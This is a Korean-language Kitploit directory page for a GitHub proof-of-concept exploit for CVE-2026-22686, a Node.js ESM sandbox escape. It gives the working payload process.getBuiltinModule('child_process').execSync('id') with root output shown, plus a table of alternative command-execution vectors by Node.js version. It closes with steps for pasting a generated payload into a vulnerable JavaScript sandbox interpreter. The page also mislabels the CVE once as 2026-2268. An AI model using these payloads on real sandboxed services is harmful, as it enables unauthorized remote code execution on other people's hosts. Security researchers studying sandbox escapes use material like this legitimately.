Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — CVE-2026-22686에 대한 개념 증명 익스플로잇으로, Node.js ESM 샌드박스에서 process.getBuiltinModule를 통해 모듈 제한을 우회하여 원격 코드 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/moltengama/cve-2026-22686-remotecodeexecution-rce-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPayload Development
GitHubmoltengama/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

CVE-2026-22686에 대한 개념 증명 익스플로잇으로, Node.js ESM 샌드박스에서 process.getBuiltinModule를 통해 모듈 제한을 우회하여 원격 코드 실행을 시연합니다.

저장소 보기
25개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ESM 환경에서의 RCE — require 문제

CVE-2026-22686을 통한 샌드박스 탈출 시, ESM 프로젝트("type": "module")에서 OS 명령을 실행하려면 Node.js 모듈 로딩 제한을 우회해야 합니다. 표준 접근 방식은 다음과 같은 이유로 실패합니다:

벡터결과
require('child_process')❌ require is not defined — ESM에서는 사용 불가
process.mainModule.require(...)❌ Cannot read properties of undefined — ESM에서 mainModule은 undefined
import('child_process')❌ A dynamic import callback was not specified — 샌드박스에 구성되지 않은 훅 필요
process.binding('spawn_sync')⚠️ 사용 가능하지만 너무 저수준 — 수동 syscall 구성 필요

해결책: 프로세스 열거 → process.getBuiltinModule

모듈 로딩 방식을 가정하는 대신, 호스트 컨텍스트(샌드박스 탈출 후 이미 접근 가능)에서 직접 process 키를 열거합니다:

root@kitploit:~
return Object.keys(process)

반환된 키 중에서 getBuiltinModule이 확인되었습니다 — 이는 Node.js 22+ 네이티브 API로, ESM 모듈이 require 또는 import() 없이 Node.js 내장 모듈에 접근할 수 있도록 특별히 설계되었습니다.

root@kitploit:~
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root)  ✅ RCE 확인

이것이 핵심 통찰력입니다: process.getBuiltinModule은 비교적 새로운 API (Node.js >= 22.3.0)이며, require와 import를 차단하는 샌드박스 구현 및 WAF 규칙에서 자주 간과됩니다.


대체 벡터 (Node.js 버전별)

대상 환경에 따라 process를 열거한 후 다른 벡터를 사용할 수 있습니다:

벡터Node.js 버전참고
process.getBuiltinModule('child_process')>= 22.3.0✅ 가장 깔끔함 — 공식 ESM 안전 API
process.binding('spawn_sync')전체⚠️ 저수준, 수동 버퍼 구성 필요
process.mainModule.require(...)CJS 전용❌ ESM에서는 undefined
__non_webpack_require__Webpack 번들⚠️ 환경별
Module.createRequire(import.meta.url)>= 12.2.0⚠️ 호스트에서 Module 참조 필요
process._linkedBinding('node_os')내부 빌드⚠️ 거의 노출되지 않음

핵심 요점: 호스트 컨텍스트 접근을 달성한 후 항상 Object.keys(process)를 열거하세요. 사용 가능한 공격 표면은 Node.js 버전과 프로젝트 구성에 따라 크게 다릅니다. getBuiltinModule은 최신 Node.js ESM 환경에서 가장 신뢰할 수 있는 벡터입니다.

CVE-2026-2268-RemoteCodeExecution-RCE-PoC

단계:

  1. 개인 명령어를 삽입하세요
  2. 생성된 페이로드를 취약한 js 샌드박스 인터프리터에 붙여넣으세요
  3. 결과를 확인하세요
image
도구 다운로드